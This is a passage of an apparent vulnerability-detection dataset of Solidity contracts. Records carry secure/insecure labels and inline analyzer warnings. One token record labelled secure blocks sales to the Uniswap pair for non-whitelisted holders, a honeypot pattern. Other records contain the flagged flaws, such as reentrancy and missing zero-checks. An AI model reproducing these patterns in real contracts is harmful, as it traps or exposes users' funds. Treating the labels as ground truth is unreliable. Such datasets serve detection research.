_uniswapV2Router;\n\n _name = \"t.me/FULLSENDBRO\";\n _symbol = \"FULLSEND\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2746.sol",
"secure": 1,
"size_bytes": 6510
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBunz {\n function balanceOf(address owner) external view returns (uint256);\n}",
"file_name": "solidity_code_2747.sol",
"secure": 1,
"size_bytes": 154
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IBunz.sol\" as IBunz;\n\ncontract CARROTZ is ERC20, Ownable {\n uint256 public constant BASE_RATE = 1 ether;\n uint256 public START;\n bool rewardPaused = false;\n\n mapping(address => uint256) public rewards;\n mapping(address => uint256) public lastUpdate;\n\n mapping(address => bool) public allowedAddresses;\n address public bunzAddress;\n\n constructor() ERC20(\"CARROTZ\", \"CARROTZ\") {\n START = block.timestamp;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7173e62): CARROTZ.setStartTimeStamp(uint256) should emit an event for START = timestamp \n\t// Recommendation for 7173e62: Emit an event for critical parameter changes.\n function setStartTimeStamp(uint256 timestamp) public onlyOwner {\n\t\t// events-maths | ID: 7173e62\n START = timestamp;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 124b69c): CARROTZ.setbunzAddress(address).contractAddress lacks a zerocheck on \t bunzAddress = contractAddress\n\t// Recommendation for 124b69c: Check that the address is not zero.\n function setbunzAddress(address contractAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: 124b69c\n bunzAddress = contractAddress;\n }\n\n function updateReward(address from, address to) external {\n require(msg.sender == bunzAddress);\n if (from != address(0)) {\n rewards[from] += getPendingReward(from);\n lastUpdate[from] = block.timestamp;\n }\n if (to != address(0)) {\n rewards[to] += getPendingReward(to);\n lastUpdate[to] = block.timestamp;\n }\n }\n\n function claimReward() external {\n require(!rewardPaused, \"Claim paused\");\n _mint(msg.sender, rewards[msg.sender] + getPendingReward(msg.sender));\n rewards[msg.sender] = 0;\n lastUpdate[msg.sender] = block.timestamp;\n }\n\n function emergencyMint(uint256 amount) public onlyOwner {\n _mint(msg.sender, amount);\n }\n\n function burn(address user, uint256 amount) external {\n require(\n allowedAddresses[msg.sender] || msg.sender == bunzAddress,\n \"Address needs to aprove burn first\"\n );\n _burn(user, amount);\n }\n\n function getTotalClaimable(address user) external view returns (uint256) {\n return rewards[user] + getPendingReward(user);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: efc5879): CARROTZ.getPendingReward(address) uses timestamp for comparisons Dangerous comparisons lastUpdate[user] >= START\n\t// Recommendation for efc5879: Avoid relying on 'block.timestamp'.\n function getPendingReward(address user) internal view returns (uint256) {\n IBunz Bunz = IBunz(bunzAddress);\n\t\t// timestamp | ID: efc5879\n return\n (Bunz.balanceOf(user) *\n BASE_RATE *\n (block.timestamp -\n (lastUpdate[user] >= START ? lastUpdate[user] : START))) /\n 86400;\n }\n\n function setAllowedAddresses(\n address _address,\n bool _access\n ) public onlyOwner {\n allowedAddresses[_address] = _access;\n }\n\n function toggleReward() public onlyOwner {\n rewardPaused = !rewardPaused;\n }\n\n function isPaused() external view returns (bool) {\n return !rewardPaused;\n }\n}",
"file_name": "solidity_code_2748.sol",
"secure": 0,
"size_bytes": 3607
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract Alignments is ERC721Enumerable, ReentrancyGuard, Ownable {\n string[] private bend = [\"Lawful\", \"Pure\", \"Chaotic\", \"???\", \"Probably\"];\n\n string[] private alignment = [\"Good\", \"Neutral\", \"Evil\", \"???\"];\n\n string[] private suffixes = [\"\"];\n\n string[] private namePrefixes = [\"\"];\n\n string[] private nameSuffixes = [\"\"];\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function getBend(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"BEND\", bend);\n }\n\n function getAlignment(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"ALIGNMENT\", alignment);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bab6d8e): Alignments.pluck(uint256,string,string[]).name shadows ERC721.name() (function) IERC721Metadata.name() (function)\n\t// Recommendation for bab6d8e: Rename the local variables that shadow another component.\n function pluck(\n uint256 tokenId,\n string memory keyPrefix,\n string[] memory sourceArray\n ) internal view returns (string memory) {\n uint256 rand = random(\n string(abi.encodePacked(keyPrefix, toString(tokenId)))\n );\n string memory output = sourceArray[rand % sourceArray.length];\n uint256 greatness = rand % 21;\n if (greatness > 14) {\n output = string(\n abi.encodePacked(output, \" \", suffixes[rand % suffixes.length])\n );\n }\n if (greatness >= 19) {\n string[2] memory name;\n name[0] = namePrefixes[rand % namePrefixes.length];\n name[1] = nameSuffixes[rand % nameSuffixes.length];\n if (greatness == 19) {\n output = string(\n abi.encodePacked(\"'\", name[0], \" \", name[1], \"' \", output)\n );\n } else {\n output = string(\n abi.encodePacked(\n \"'\",\n name[0],\n \" \",\n name[1],\n \"' \",\n output,\n \" +1\"\n )\n );\n }\n }\n return output;\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 8dc9d01): Alignments.tokenURI(uint256).output is written in both output = string(abi.encodePacked(output,parts[3],parts[4],parts[5])) output = string(abi.encodePacked(dataapplication/json;base64,,json))\n\t// Recommendation for 8dc9d01: Fix or remove the writes.\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n string[6] memory parts;\n parts[\n 0\n ] = \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width='100%' height='100%' fill='black' /><text x='10' y='20' class='base'>\";\n\n parts[1] = getBend(tokenId);\n\n parts[2] = \"</text><text x='10' y='40' class='base'>\";\n\n parts[3] = getAlignment(tokenId);\n\n parts[4] = \"</text><text x='10' y='60' class='base'>\";\n\n parts[5] = \"</text></svg>\";\n\n string memory output = string(\n abi.encodePacked(parts[0], parts[1], parts[2])\n );\n\t\t// write-after-write | ID: 8dc9d01\n output = string(abi.encodePacked(output, parts[3], parts[4], parts[5]));\n\n string memory json = Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Alignment #\",\n toString(tokenId),\n \"', 'description': 'Alignments for adventurers. Are you good, evil or something else', 'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(output)),\n \"'}\"\n )\n )\n )\n );\n\t\t// write-after-write | ID: 8dc9d01\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", json)\n );\n\n return output;\n }\n\n function claim(uint256 tokenId) public nonReentrant {\n require(tokenId > 0 && tokenId < 778, \"Token ID invalid\");\n _safeMint(_msgSender(), tokenId);\n }\n\n function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {\n require(tokenId > 777 && tokenId < 801, \"Token ID invalid\");\n _safeMint(owner(), tokenId);\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n constructor()\n ERC721(\"Alignments (for Adventurers)\", \"Alignments\")\n Ownable()\n {}\n}",
"file_name": "solidity_code_2749.sol",
"secure": 0,
"size_bytes": 5728
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3ac287b): Contract locking ether found Contract Snipify has payable functions Snipify.receive() But does not have a function to withdraw the ether\n// Recommendation for 3ac287b: Remove the 'payable' attribute or add a withdraw function.\ncontract Snipify is ERC20, Ownable {\n constructor() ERC20(unicode\"Snipify\", unicode\"SPY\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3ac287b): Contract locking ether found Contract Snipify has payable functions Snipify.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 3ac287b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_275.sol",
"secure": 0,
"size_bytes": 999
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract JugglingNFT is ERC721, Ownable {\n constructor() ERC721(\"JugglingNFT\", \"JNFT\") {}\n uint256 public nextTokenId = 0;\n uint256 public donatedAmount = 0.001 ether;\n\n mapping(uint256 => bool) private alreadyDonated;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b975ea): JugglingNFT.charityAddress should be constant \n\t// Recommendation for 8b975ea: Add the 'constant' attribute to state variables that never change.\n address charityAddress = 0x9C388AFbc760E19CfA9190F60E0e641b7D053e4a;\n\n mapping(uint256 => string) private _tokenURIs;\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721URIStorage: URI query for nonexistent token\"\n );\n\n string memory _tokenURI = _tokenURIs[tokenId];\n string memory base = _baseURI();\n\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n return super.tokenURI(tokenId);\n }\n\n function _setTokenURI(\n uint256 tokenId,\n string memory _tokenURI\n ) internal virtual {\n require(\n _exists(tokenId),\n \"ERC721URIStorage: URI set of nonexistent token\"\n );\n _tokenURIs[tokenId] = _tokenURI;\n }\n\n function mint(string memory _tokenURI) external onlyOwner {\n uint256 tokenId = nextTokenId;\n super._mint(msg.sender, tokenId);\n _setTokenURI(tokenId, _tokenURI);\n require(nextTokenId + 1 > nextTokenId);\n nextTokenId++;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2484f71): JugglingNFT.changeDonatedAmount(uint256) should emit an event for donatedAmount = _newDonatedAmount \n\t// Recommendation for 2484f71: Emit an event for critical parameter changes.\n function changeDonatedAmount(uint256 _newDonatedAmount) public onlyOwner {\n require(0.001 ether >= _newDonatedAmount);\n\t\t// events-maths | ID: 2484f71\n donatedAmount = _newDonatedAmount;\n }\n\n function DonatedAmount() public view returns (uint256) {\n return donatedAmount;\n }\n\n function donateAndTransfer(\n address from,\n address to,\n uint256 tokenId\n ) external payable {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n require(msg.value >= donatedAmount);\n _transfer(from, to, tokenId);\n }\n\n function withdrawForCharity() external {\n payable(charityAddress).transfer(address(this).balance);\n }\n\n function donateBeforeTransfer(uint256 tokenId) external payable {\n require(msg.value >= donatedAmount);\n alreadyDonated[tokenId] = true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n require(alreadyDonated[tokenId]);\n alreadyDonated[tokenId] = false;\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n require(alreadyDonated[tokenId]);\n alreadyDonated[tokenId] = false;\n _safeTransfer(from, to, tokenId, _data);\n }\n}",
"file_name": "solidity_code_2750.sol",
"secure": 0,
"size_bytes": 4038
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DBITCOLOANToken is ERC20 {\n constructor() ERC20(\"PROTOCOL.BITCOLOAN.COM\", \"dBITCOLOAN\") {\n _mint(msg.sender, 1000000000000000 * 10 ** 8);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n function burnFrom(address account, uint256 amount) public virtual {\n uint256 currentAllowance = allowance(account, _msgSender());\n require(\n currentAllowance >= amount,\n \"ERC20: burn amount exceeds allowance\"\n );\n _approve(account, _msgSender(), currentAllowance - amount);\n _burn(account, amount);\n }\n}",
"file_name": "solidity_code_2751.sol",
"secure": 1,
"size_bytes": 874
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface VatLike {\n function move(address, address, uint256) external;\n function flux(bytes32, address, address, uint256) external;\n function ilks(\n bytes32\n ) external returns (uint256, uint256, uint256, uint256, uint256);\n function suck(address, address, uint256) external;\n}",
"file_name": "solidity_code_2752.sol",
"secure": 1,
"size_bytes": 383
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface PipLike {\n function peek() external returns (bytes32, bool);\n}",
"file_name": "solidity_code_2753.sol",
"secure": 1,
"size_bytes": 153
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface SpotterLike {\n function par() external returns (uint256);\n function ilks(bytes32) external returns (PipLike, uint256);\n}",
"file_name": "solidity_code_2754.sol",
"secure": 1,
"size_bytes": 215
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface DogLike {\n function chop(bytes32) external returns (uint256);\n function digs(bytes32, uint256) external;\n}",
"file_name": "solidity_code_2755.sol",
"secure": 1,
"size_bytes": 201
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface ClipperCallee {\n function clipperCall(address, uint256, uint256, bytes calldata) external;\n}",
"file_name": "solidity_code_2756.sol",
"secure": 1,
"size_bytes": 183
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface AbacusLike {\n function price(uint256, uint256) external view returns (uint256);\n}",
"file_name": "solidity_code_2757.sol",
"secure": 1,
"size_bytes": 172
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./VatLike.sol\" as VatLike;\nimport \"./PipLike.sol\" as PipLike;\nimport \"./SpotterLike.sol\" as SpotterLike;\nimport \"./DogLike.sol\" as DogLike;\nimport \"./ClipperCallee.sol\" as ClipperCallee;\nimport \"./AbacusLike.sol\" as AbacusLike;\n\ncontract Clipper {\n mapping(address => uint256) public wards;\n function rely(address usr) external auth {\n wards[usr] = 1;\n emit Rely(usr);\n }\n function deny(address usr) external auth {\n wards[usr] = 0;\n emit Deny(usr);\n }\n modifier auth() {\n require(wards[msg.sender] == 1, \"Clipper/not-authorized\");\n _;\n }\n\n bytes32 public immutable ilk;\n VatLike public immutable vat;\n\n DogLike public dog;\n address public vow;\n SpotterLike public spotter;\n AbacusLike public calc;\n\n uint256 public buf;\n uint256 public tail;\n uint256 public cusp;\n uint64 public chip;\n uint192 public tip;\n uint256 public chost;\n\n uint256 public kicks;\n uint256[] public active;\n\n struct Sale {\n uint256 pos;\n uint256 tab;\n uint256 lot;\n address usr;\n uint96 tic;\n uint256 top;\n }\n mapping(uint256 => Sale) public sales;\n\n uint256 internal locked;\n\n uint256 public stopped = 0;\n\n event Rely(address indexed usr);\n event Deny(address indexed usr);\n\n event File(bytes32 indexed what, uint256 data);\n event File(bytes32 indexed what, address data);\n\n event Kick(\n uint256 indexed id,\n uint256 top,\n uint256 tab,\n uint256 lot,\n address indexed usr,\n address indexed kpr,\n uint256 coin\n );\n event Take(\n uint256 indexed id,\n uint256 max,\n uint256 price,\n uint256 owe,\n uint256 tab,\n uint256 lot,\n address indexed usr\n );\n event Redo(\n uint256 indexed id,\n uint256 top,\n uint256 tab,\n uint256 lot,\n address indexed usr,\n address indexed kpr,\n uint256 coin\n );\n\n event Yank(uint256 id);\n\n constructor(\n address vat_,\n address spotter_,\n address dog_,\n bytes32 ilk_\n ) public {\n vat = VatLike(vat_);\n spotter = SpotterLike(spotter_);\n dog = DogLike(dog_);\n ilk = ilk_;\n buf = RAY;\n wards[msg.sender] = 1;\n emit Rely(msg.sender);\n }\n\n modifier lock() {\n require(locked == 0, \"Clipper/system-locked\");\n locked = 1;\n _;\n locked = 0;\n }\n\n modifier isStopped(uint256 level) {\n require(stopped < level, \"Clipper/stopped-incorrect\");\n _;\n }\n\n function file(bytes32 what, uint256 data) external auth lock {\n if (what == \"buf\") buf = data;\n else if (what == \"tail\")\n tail = data; // Time elapsed before auction reset\n else if (what == \"cusp\")\n cusp = data; // Percentage drop before auction reset\n else if (what == \"chip\")\n chip = uint64(data); // Percentage of tab to incentivize (max: 2^64 - 1 => 18.xxx WAD = 18xx%)\n else if (what == \"tip\")\n tip = uint192(data); // Flat fee to incentivize keepers (max: 2^192 - 1 => 6.277T RAD)\n else if (what == \"stopped\")\n stopped = data; // Set breaker (0, 1, 2, or 3)\n else revert(\"Clipper/file-unrecognized-param\");\n emit File(what, data);\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 22998d7): Clipper.file(bytes32,address).data lacks a zerocheck on \t vow = data\n\t// Recommendation for 22998d7: Check that the address is not zero.\n function file(bytes32 what, address data) external auth lock {\n if (what == \"spotter\") spotter = SpotterLike(data);\n else if (what == \"dog\") dog = DogLike(data);\n\t\t// missing-zero-check | ID: 22998d7\n else if (what == \"vow\") vow = data;\n else if (what == \"calc\") calc = AbacusLike(data);\n else revert(\"Clipper/file-unrecognized-param\");\n emit File(what, data);\n }\n\n uint256 constant BLN = 10 ** 9;\n uint256 constant WAD = 10 ** 18;\n uint256 constant RAY = 10 ** 27;\n\n function min(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = x <= y ? x : y;\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c357988): Clipper.add(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)((z = x + y) >= x)\n\t// Recommendation for c357988: Avoid relying on 'block.timestamp'.\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n\t\t// timestamp | ID: c357988\n require((z = x + y) >= x);\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f74fda6): Clipper.sub(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)((z = x y) <= x)\n\t// Recommendation for f74fda6: Avoid relying on 'block.timestamp'.\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n\t\t// timestamp | ID: f74fda6\n require((z = x - y) <= x);\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c430648): Clipper.mul(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(y == 0 || (z = x * y) / y == x)\n\t// Recommendation for c430648: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: c4f93a8): Clipper.mul(uint256,uint256) uses a dangerous strict equality require(bool)(y == 0 || (z = x * y) / y == x)\n\t// Recommendation for c4f93a8: Don't use strict equality to determine if an account has enough Ether or tokens.\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n\t\t// timestamp | ID: c430648\n\t\t// incorrect-equality | ID: c4f93a8\n require(y == 0 || (z = x * y) / y == x);\n }\n function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = mul(x, y) / WAD;\n }\n function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = mul(x, y) / RAY;\n }\n function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = mul(x, RAY) / y;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 618fd0d): Clipper.getFeedPrice() ignores return value by (pip,None) = spotter.ilks(ilk)\n\t// Recommendation for 618fd0d: Ensure that all the return values of the function calls are used.\n function getFeedPrice() internal returns (uint256 feedPrice) {\n\t\t// reentrancy-events | ID: 8bb10f0\n\t\t// reentrancy-events | ID: d5575fd\n\t\t// unused-return | ID: 618fd0d\n\t\t// reentrancy-no-eth | ID: cd2f640\n\t\t// reentrancy-no-eth | ID: c32e014\n (PipLike pip, ) = spotter.ilks(ilk);\n\t\t// reentrancy-events | ID: 8bb10f0\n\t\t// reentrancy-events | ID: d5575fd\n\t\t// reentrancy-no-eth | ID: cd2f640\n\t\t// reentrancy-no-eth | ID: c32e014\n (bytes32 val, bool has) = pip.peek();\n require(has, \"Clipper/invalid-price\");\n\t\t// reentrancy-events | ID: 8bb10f0\n\t\t// reentrancy-events | ID: d5575fd\n\t\t// reentrancy-no-eth | ID: cd2f640\n\t\t// reentrancy-no-eth | ID: c32e014\n feedPrice = rdiv(mul(uint256(val), BLN), spotter.par());\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 94b6128): Clipper.kick(uint256,uint256,address,address) uses timestamp for comparisons Dangerous comparisons require(bool,string)(top > 0,Clipper/zerotopprice)\n\t// Recommendation for 94b6128: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8bb10f0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8bb10f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c32e014): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c32e014: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 929a6d7): Clipper.kick(uint256,uint256,address,address).coin is a local variable never initialized\n\t// Recommendation for 929a6d7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function kick(\n uint256 tab,\n uint256 lot,\n address usr,\n address kpr\n ) external auth lock isStopped(1) returns (uint256 id) {\n require(tab > 0, \"Clipper/zero-tab\");\n require(lot > 0, \"Clipper/zero-lot\");\n require(usr != address(0), \"Clipper/zero-usr\");\n id = ++kicks;\n require(id > 0, \"Clipper/overflow\");\n\n active.push(id);\n\n sales[id].pos = active.length - 1;\n\n sales[id].tab = tab;\n sales[id].lot = lot;\n sales[id].usr = usr;\n sales[id].tic = uint96(block.timestamp);\n\n\t\t// reentrancy-events | ID: 8bb10f0\n\t\t// reentrancy-no-eth | ID: c32e014\n uint256 top;\n\t\t// timestamp | ID: 94b6128\n top = rmul(getFeedPrice(), buf);\n\t\t// reentrancy-no-eth | ID: c32e014\n require(top > 0, \"Clipper/zero-top-price\");\n sales[id].top = top;\n\n uint256 _tip = tip;\n uint256 _chip = chip;\n uint256 coin;\n if (_tip > 0 || _chip > 0) {\n coin = add(_tip, wmul(tab, _chip));\n\t\t\t// reentrancy-events | ID: 8bb10f0\n vat.suck(vow, kpr, coin);\n }\n\n\t\t// reentrancy-events | ID: 8bb10f0\n emit Kick(id, top, tab, lot, usr, kpr, coin);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a7bad61): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for a7bad61: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d5575fd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d5575fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: cd2f640): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for cd2f640: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 12f26a4): Clipper.redo(uint256,address).coin is a local variable never initialized\n\t// Recommendation for 12f26a4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function redo(uint256 id, address kpr) external lock isStopped(2) {\n address usr = sales[id].usr;\n uint96 tic = sales[id].tic;\n uint256 top = sales[id].top;\n\n require(usr != address(0), \"Clipper/not-running-auction\");\n\n\t\t// timestamp | ID: a7bad61\n (bool done, ) = status(tic, top);\n require(done, \"Clipper/cannot-reset\");\n\n uint256 tab = sales[id].tab;\n uint256 lot = sales[id].lot;\n sales[id].tic = uint96(block.timestamp);\n\t\t// reentrancy-events | ID: d5575fd\n\t\t// reentrancy-no-eth | ID: cd2f640\n\n uint256 feedPrice = getFeedPrice();\n\t\t// timestamp | ID: a7bad61\n top = rmul(feedPrice, buf);\n\t\t// reentrancy-no-eth | ID: cd2f640\n require(top > 0, \"Clipper/zero-top-price\");\n sales[id].top = top;\n\n uint256 _tip = tip;\n uint256 _chip = chip;\n uint256 coin;\n if (_tip > 0 || _chip > 0) {\n uint256 _chost = chost;\n\t\t\t// timestamp | ID: a7bad61\n if (tab >= _chost && mul(lot, feedPrice) >= _chost) {\n coin = add(_tip, wmul(tab, _chip));\n\t\t\t\t// reentrancy-events | ID: d5575fd\n vat.suck(vow, kpr, coin);\n }\n }\n\n\t\t// reentrancy-events | ID: d5575fd\n emit Redo(id, top, tab, lot, usr, kpr, coin);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0c5db8b): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 0c5db8b: Avoid relying on 'block.timestamp'.\n\t// WARNING 